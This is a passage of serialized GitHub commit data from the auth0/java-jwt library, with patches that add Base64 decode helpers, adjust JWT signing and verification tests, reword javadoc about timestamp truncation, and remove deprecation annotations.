                 throw new IllegalStateException("The given Public Key is null.");u}(jN  (5611f51ae6a8e8632d832578408011674de5b880j>O  :lib/src/main/java/com/auth0/jwt/interfaces/DecodedJWT.javaj@O  modifiedj8O  Kj9O  K jBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FDecodedJWT.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FDecodedJWT.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FDecodedJWT.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  X4  @@ -1,5 +1,7 @@
 package com.auth0.jwt.interfaces;
 
+import java.util.Base64;
+
 /**
  * Class that represents a Json Web Token that was decoded from it's string representation.
  */
@@ -34,4 +36,22 @@ public interface DecodedJWT extends Payload, Header {
      * @return the Signature of the JWT.
      */
     String getSignature();
+
+    boolean isUrlEncoded();
+
+    default byte[] getDecodedSignature() {
+        return decode(getSignature());
+    }
+
+    default byte[] getDecodedPayload() {
+        return decode(getPayload());
+    }
+
+    default byte[] getDecodedHeader() {
+        return decode(getHeader());
+    }
+    default byte[] decode(String str) {
+        Base64.Decoder decoder = isUrlEncoded() ? Base64.getUrlDecoder() : Base64.getDecoder();
+        return decoder.decode(str);
+    }
 }u}(jN  (b962deaf505f912b32e91ee737118ca70d084f85j>O  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  X@  @@ -539,7 +539,7 @@ public void shouldDoECDSA256Signing() throws Exception {
         jwt = asJWT(algorithm, ES256Header, auth0IssPayload, false);
 
         assertSignaturePresent(jwt);
-        algorithmVerify.verify(JWT.decode(jwt), false);
+        algorithmVerify.verify(JWT.decode(jwt, false));
     }
 
     @Testu}(jN  (d272dc3bf3491d2b3bdf3889ce973a90720a5e65j>O  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  XD  @@ -539,7 +539,7 @@ public void shouldDoECDSA256Signing() throws Exception {
         jwt = asJWT(algorithmSign, ES256Header, auth0IssPayload, false);
 
         assertSignaturePresent(jwt);
-        algorithmVerify.verify(JWT.decode(jwt), false);
+        algorithmVerify.verify(JWT.decode(jwt, false));
     }
 
     @Testu}(jN  (ea6191bbfd27d1b93c7c0c500f98d6b1dfef8ae8j>O  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  X+  @@ -172,7 +172,7 @@ public void shouldDoHMAC256SigningWithBytes() {
         jwt = asJWT(algorithm, HS256Header, auth0IssPayload, false);
 
         assertSignaturePresent(jwt);
-        algorithm.verify(JWT.decode(jwt), false);
+        algorithm.verify(JWT.decode(jwt, false));
     }
 
     @Testu}(jN  (5630190efa36fca1b81a440afe35791beefb0586j>O  Alib/src/test/java/com/auth0/jwt/algorithms/NoneAlgorithmTest.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  X  @@ -23,8 +23,8 @@ public void shouldPassNoneVerification() {
         String jwt = "eyJhbGciOiJub25lIiwiY3R5IjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         algorithm.verify(JWT.decode(jwt));
 
-        algorithm.verify(JWT.decode(jwt), false);
-        algorithm.verify(JWT.decode(jwt), true);
+        algorithm.verify(JWT.decode(jwt));
+        algorithm.verify(JWT.decode(jwt, true));
     }
 
     @Testu}(jN  (ed9e40c524ca258ddddbb5b052616de6cb174d58j>O  @lib/src/test/java/com/auth0/jwt/algorithms/RSAAlgorithmTest.javaj@O  modifiedj8O  Kj9O  KjBO  KjCO  https://github.com/auth0/java-jwt/blob/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javajEO  https://github.com/auth0/java-jwt/raw/232f26cc19d200b5f683e783dbcf35062713239d/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javajGO  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.java?ref=232f26cc19d200b5f683e783dbcf35062713239djIO  XB  @@ -284,7 +284,7 @@ public void shouldDoRSA256Signing() throws Exception {
         jwt = asJWT(algorithmSign, RS256Header, auth0IssPayload, false);
 
         assertSignaturePresent(jwt);
-        algorithmVerify.verify(JWT.decode(jwt), false);
+        algorithmVerify.verify(JWT.decode(jwt, false));
     }
 
     @Testueu(f3c41920752efe948b886bf08cb620f0400fafc8}(sha(f3c41920752efe948b886bf08cb620f0400fafc8node_idEC_kwDOAQtL0doAKGYzYzQxOTIwNzUyZWZlOTQ4Yjg4NmJmMDhjYjYyMGYwNDAwZmFmYzgcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-04T16:18:55Zu	committer}(jO  James AndersonjO  jim.anderson@auth0.comjO  2022-03-04T16:19:03ZumessageUpdate javadocstree}(jO  (08b0b7be1f3ab822f2373ba6684063896fdefaa7url^https://api.github.com/repos/auth0/java-jwt/git/trees/08b0b7be1f3ab822f2373ba6684063896fdefaa7ujO  `https://api.github.com/repos/auth0/java-jwt/git/commits/f3c41920752efe948b886bf08cb620f0400fafc8
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujO  \https://api.github.com/repos/auth0/java-jwt/commits/f3c41920752efe948b886bf08cb620f0400fafc8html_urlQhttps://github.com/auth0/java-jwt/commit/f3c41920752efe948b886bf08cb620f0400fafc8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f3c41920752efe948b886bf08cb620f0400fafc8/commentsjO  }(login
jimmyjamesidJ7 jO  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jO  'https://api.github.com/users/jimmyjamesjO  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujO  }(jO  
jimmyjamesjO  J7 jO  MDQ6VXNlcjI3NjIyNQ==jO  2https://avatars.githubusercontent.com/u/276225?v=4jO  h3jO  'https://api.github.com/users/jimmyjamesjO  https://github.com/jimmyjamesjO  1https://api.github.com/users/jimmyjames/followersjO  >https://api.github.com/users/jimmyjames/following{/other_user}jO  7https://api.github.com/users/jimmyjames/gists{/gist_id}jO  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jO  5https://api.github.com/users/jimmyjames/subscriptionsjO  ,https://api.github.com/users/jimmyjames/orgsjO  -https://api.github.com/users/jimmyjames/reposjO  8https://api.github.com/users/jimmyjames/events{/privacy}jO  7https://api.github.com/users/jimmyjames/received_eventsjO  UserjO  uparents]}(jO  (7b6128aa20846841db09e2cd053bccd62a8a2843jO  \https://api.github.com/repos/auth0/java-jwt/commits/7b6128aa20846841db09e2cd053bccd62a8a2843jO  Qhttps://github.com/auth0/java-jwt/commit/7b6128aa20846841db09e2cd053bccd62a8a2843uastats}(totalK	additionsK	deletionsKufiles]}(jO  (e2c22434aeb7751013dab193ec88a5549e09f641filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj
P  KjP  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/f3c41920752efe948b886bf08cb620f0400fafc8/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/f3c41920752efe948b886bf08cb620f0400fafc8/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=f3c41920752efe948b886bf08cb620f0400fafc8patchX  @@ -140,8 +140,8 @@ public Builder withAudience(String... audience) {
         }
 
         /**
-         * Add a specific Expires At ("exp") claim to the payload. The claim will be written as seconds since the epoch;
-         * milliseconds will be truncated.
+         * Add a specific Expires At ("exp") claim to the payload. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param expiresAt the Expires At value.
          * @return this same Builder instance.
@@ -152,8 +152,8 @@ public Builder withExpiresAt(Date expiresAt) {
         }
 
         /**
-         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
-         * milliseconds will be truncated.
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param notBefore the Not Before value.
          * @return this same Builder instance.
@@ -164,8 +164,8 @@ public Builder withNotBefore(Date notBefore) {
         }
 
         /**
-         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
-         * milliseconds will be truncated.
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param issuedAt the Issued At value.
          * @return this same Builder instance.
@@ -257,8 +257,8 @@ public Builder withClaim(String name, String value) throws IllegalArgumentExcept
         }
 
         /**
-         * Add a custom Claim value. The claim will be written as seconds since the epoch;
-         * milliseconds will be truncated.
+         * Add a custom Claim value. The claim will be written as seconds since the epoch.
+         * Milliseconds will be truncated by rounding down to the nearest second.
          *
          * @param name  the Claim's name.
          * @param value the Claim's value.uau(1af0b21fade8dfa14efbf2668d0c0dd8077c4ded}(sha(1af0b21fade8dfa14efbf2668d0c0dd8077c4dednode_idEC_kwDOAQtL0doAKDFhZjBiMjFmYWRlOGRmYTE0ZWZiZjI2NjhkMGMwZGQ4MDc3YzRkZWQcommit}(author}(name	poovamrajemailpoovamraj@gmail.comdate2022-03-13T17:13:20Zu	committer}(j*P  	poovamrajj,P  poovamraj@gmail.comj.P  2022-03-14T11:12:26Zumessage-Update document and remove deprecation noticetree}(j"P  (60ab2c2637afe486626c9149343cbb24e1cf1635url^https://api.github.com/repos/auth0/java-jwt/git/trees/60ab2c2637afe486626c9149343cbb24e1cf1635uj:P  `https://api.github.com/repos/auth0/java-jwt/git/commits/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj:P  \https://api.github.com/repos/auth0/java-jwt/commits/1af0b21fade8dfa14efbf2668d0c0dd8077c4dedhtml_urlQhttps://github.com/auth0/java-jwt/commit/1af0b21fade8dfa14efbf2668d0c0dd8077c4dedcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/commentsj(P  }(login	poovamrajidJ j$P  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j:P  &https://api.github.com/users/poovamrajjFP  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj0P  }(jKP  	poovamrajjMP  J j$P  MDQ6VXNlcjE1OTEwNDI1jOP  4https://avatars.githubusercontent.com/u/15910425?v=4jQP  h3j:P  &https://api.github.com/users/poovamrajjFP  https://github.com/poovamrajjTP  0https://api.github.com/users/poovamraj/followersjVP  =https://api.github.com/users/poovamraj/following{/other_user}jXP  6https://api.github.com/users/poovamraj/gists{/gist_id}jZP  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j\P  4https://api.github.com/users/poovamraj/subscriptionsj^P  +https://api.github.com/users/poovamraj/orgsj`P  ,https://api.github.com/users/poovamraj/reposjbP  7https://api.github.com/users/poovamraj/events{/privacy}jdP  6https://api.github.com/users/poovamraj/received_eventsjfP  UserjhP  uparents]}(j"P  (22f31476fbaf2526412c88e9d9e65d058103d0a8j:P  \https://api.github.com/repos/auth0/java-jwt/commits/22f31476fbaf2526412c88e9d9e65d058103d0a8jFP  Qhttps://github.com/auth0/java-jwt/commit/22f31476fbaf2526412c88e9d9e65d058103d0a8uastats}(totalK	additionsK	deletionsKufiles](}(j"P  (2d8722a20c341d19423f4cafc05f666fa673f6d8filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedjP  KjP  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=1af0b21fade8dfa14efbf2668d0c0dd8077c4dedpatchX  @@ -409,14 +409,13 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
 
     /**
      * Sign the given content using this Algorithm instance.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param contentBytes an array of bytes representing the base64 encoded content to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
-     * @deprecated Please use the {@linkplain #sign(byte[], byte[])} method instead.
      */
 
-    @Deprecated
     public abstract byte[] sign(byte[] contentBytes) throws SignatureGenerationException;
 
 }u}(j"P  (26a87bc41d2eddc182bed419f80041fb5f3e4b8ajP  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javajP  modifiedjP  KjP  KjP  KjP  https://github.com/auth0/java-jwt/blob/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javajP  https://github.com/auth0/java-jwt/raw/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javajP  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=1af0b21fade8dfa14efbf2668d0c0dd8077c4dedjP  X,  @@ -131,6 +131,7 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
 
     /**
      * Verify signature.
+     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param secretBytes algorithm secret.
@@ -139,27 +140,24 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
         return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
     }
 
     /**
      * Create signature.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param secretBytes algorithm secret.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException {
         final Mac mac = Mac.getInstance(algorithm);
         mac.init(new SecretKeySpec(secretBytes, algorithm));
@@ -168,6 +166,7 @@ byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBy
 
     /**
      * Verify signature using a public key.
+     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param publicKey algorithm public key.
@@ -177,10 +176,8 @@ byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBy
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
      * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initVerify(publicKey);
@@ -190,6 +187,7 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] content
 
     /**
      * Create signature using a private key.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param privateKey the private key to use for signing.
@@ -198,10 +196,8 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] content
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
      * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);u}(j"P  (51fa70faf3f47c61a8890193e7bdb7771f11aabcjP  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javajP  modifiedjP  K jP  KjP  KjP  https://github.com/auth0/java-jwt/blob/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajP  https://github.com/auth0/java-jwt/raw/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajP  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=1af0b21fade8dfa14efbf2668d0c0dd8077c4dedjP  X1  @@ -71,7 +71,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {
             ECPrivateKey privateKey = keyProvider.getPrivateKey();u}(j"P  (26ad6a87dee208122c23c607eb1602d0832eabd2jP  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javajP  modifiedjP  K jP  KjP  KjP  https://github.com/auth0/java-jwt/blob/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajP  https://github.com/auth0/java-jwt/raw/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajP  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=1af0b21fade8dfa14efbf2668d0c0dd8077c4dedjP  XD  @@ -69,7 +69,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {
             return crypto.createSignatureFor(getDescription(), secret, contentBytes);u}(j"P  (ade07b0ed9dee5f1fcda53d7792db02883e9c3f1jP  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javajP  modifiedjP  K jP  KjP  KjP  https://github.com/auth0/java-jwt/blob/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajP  https://github.com/auth0/java-jwt/raw/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajP  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=1af0b21fade8dfa14efbf2668d0c0dd8077c4dedjP  X  @@ -31,7 +31,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         return new byte[0];
     }u}(j"P  (cd1e97a52a4d590917b35a1d58c198821645862fjP  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javajP  modifiedjP  K jP  KjP  KjP  https://github.com/auth0/java-jwt/blob/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajP  https://github.com/auth0/java-jwt/raw/1af0b21fade8dfa14efbf2668d0c0dd8077c4ded/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajP  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=1af0b21fade8dfa14efbf2668d0c0dd8077c4dedjP  X@  @@ -55,7 +55,6 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
         try {
             RSAPrivateKey privateKey = keyProvider.getPrivateKey();ueu(3f939842f1d0c6c393b9fd6d2365fa2e45d986cc}(sha(3f939842f1d0c6c393b9fd6d2365fa2e45d986ccnode_idEC_kwDOAQtL0doAKDNmOTM5ODQyZjFkMGM2YzM5M2I5ZmQ2ZDIzNjVmYTJlNDVkOTg2Y2Mcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-21T13:19:01Zu	committer}(jP  
Poovamraj T TjP  poovamraj@gmail.comjP  2022-04-21T13:19:01ZumessageAdded note on Keyprovidertree}(jP  (76ef909aaf60275c8cf5c262d616cbf647faf454url^https://api.github.com/repos/auth0/java-jwt/git/trees/76ef909aaf60275c8cf5c262d616cbf647faf454ujP  `https://api.github.com/repos/auth0/java-jwt/git/commits/3f939842f1d0c6c393b9fd6d2365fa2e45d986cc
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujP  \https://api.github.com/repos/auth0/java-jwt/commits/3f939842f1d0c6c393b9fd6d2365fa2e45d986cchtml_urlQhttps://github.com/auth0/java-jwt/commit/3f939842f1d0c6c393b9fd6d2365fa2e45d986cccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3f939842f1d0c6c393b9fd6d2365fa2e45d986cc/commentsjP  }(login	poovamrajidJ jP  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jP  &https://api.github.com/users/poovamrajjP  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujP  }(jP  	poovamrajjP  J jP  MDQ6VXNlcjE1OTEwNDI1jP  4https://avatars.githubusercontent.com/u/15910425?v=4jP  h3jP  &https://api.github.com/users/poovamrajjP  https://github.com/poovamrajjP  0https://api.github.com/users/poovamraj/followersjP  =https://api.github.com/users/poovamraj/following{/other_user}jP  6https://api.github.com/users/poovamraj/gists{/gist_id}jP  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jP  4https://api.github.com/users/poovamraj/subscriptionsjP  +https://api.github.com/users/poovamraj/orgsjP  ,https://api.github.com/users/poovamraj/reposjP  7https://api.github.com/users/poovamraj/events{/privacy}jQ  6https://api.github.com/users/poovamraj/received_eventsjQ  UserjQ  uparents]}(jP  (1979b95f272cc4bffda318a7db097bbed66a5d82jP  \https://api.github.com/repos/auth0/java-jwt/commits/1979b95f272cc4bffda318a7db097bbed66a5d82jP  Qhttps://github.com/auth0/java-jwt/commit/1979b95f272cc4bffda318a7db097bbed66a5d82uastats}(totalK	additionsK	deletionsKufiles](}(jP  (cab474f765907aa05b552dfe52e9007967443631filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedjQ  K j 